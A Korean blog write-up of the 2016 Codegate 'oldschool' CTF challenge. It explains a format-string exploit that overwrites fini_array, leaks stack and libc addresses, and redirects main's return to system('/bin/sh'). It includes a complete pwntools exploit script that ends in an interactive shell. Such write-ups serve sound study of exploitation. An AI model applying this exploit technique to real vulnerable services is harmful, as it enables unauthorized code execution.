2016 Codegate oldschool writeup
by St1tch
문제 자체는 간단한 fsb문제인데, no RELRO이다. fini_array를 overwrite할 수 있다.
원하는 정보를 얻은 후 다시 main함수로 트리거할 때 fini_array 배열을 사용하면 된다.

정적분석과 동적분석을 해보면 스택의 구조는 위 그림과 같다.
나는 저기서 fsboffset 264,267부분을 이용해서 공격을 했다.
fsb offset이 264인 부분을 leak한 후, -24를 하면 ebp값을 알아낼 수 있고,
267인 부분을 leak하면 실제 __libc_start_main으로 돌아가는 ret 주소를 알아 낼 수 있다.
libc가 주어지므로 offset을 바로 gdb로 확인하여, system함수와 '/bin/sh/주소를 알아 낼 수 있었다.
위 과정을 통해 필요한 주소값들을 알아낸 후, dtor영역을 이용해서 다시 main함수의 시작점으로 돌아갔다.
그리고 두번째 실행되는 main함수의 ret부분을 system함수의 주소로 덮었다.
ret의 주소는 gdb를 이용해서, 첫번째 실행 때 알아낸 ebp와의 차이를 통해 쉽게 알아 낼 수 있다.
fsb페이로드 짜기가 너무 귀찮아서 알아봤는데, pwntool라이브러리에 fsbstr_payload라고 있는데 어떻게 쓰는지 모르겠다.(offset부분)
그래서 대충 내가 쓰기편하게 fsb페이로드 짜는함수 만들어서 사용했다.
import stitch from pwn import * import sys fini_array = 0x80496dc system_offset = 0x3b180 binsh_offset = 0x15f61b main_ret_offset = 0x1873e main = 0x0804849b s = remote('localhost', 9003) #main trigger , leak main_ret addr , leak ebp addr #fsb payload1 pay = 'ZZZZ' #fsb offset -> 7 pay += 'RETT' + '%267$x' pay += 'EBPP' + '%264$x' pay += stitch.fsb(14, {fini_array:main}, 28) s.sendline(pay) sleep(1) tmp = s.recv().strip() main_ret = int(tmp.split('RETT')[1].strip()[:8], 16) ebp = int(tmp.split('EBPP')[1].strip()[:8], 16) - 24 #calculate system, binsh addr offset = main_ret - main_ret_offset system = offset + system_offset binsh = offset + binsh_offset print 'main_ret',hex(main_ret) print 'ebp',hex(ebp) print 'system',hex(system) print 'binsh',hex(binsh) ebp -= 224 target_system = ebp + 20 target_binsh = ebp + 28 #fsb payload2 pay = 'ZZZZ' pay += stitch.fsb(8, {target_system:system, target_binsh:binsh}, 4) s.sendline(pay) s.interactive()
블로그의 정보
튜기's blogg(st1tch)
St1tch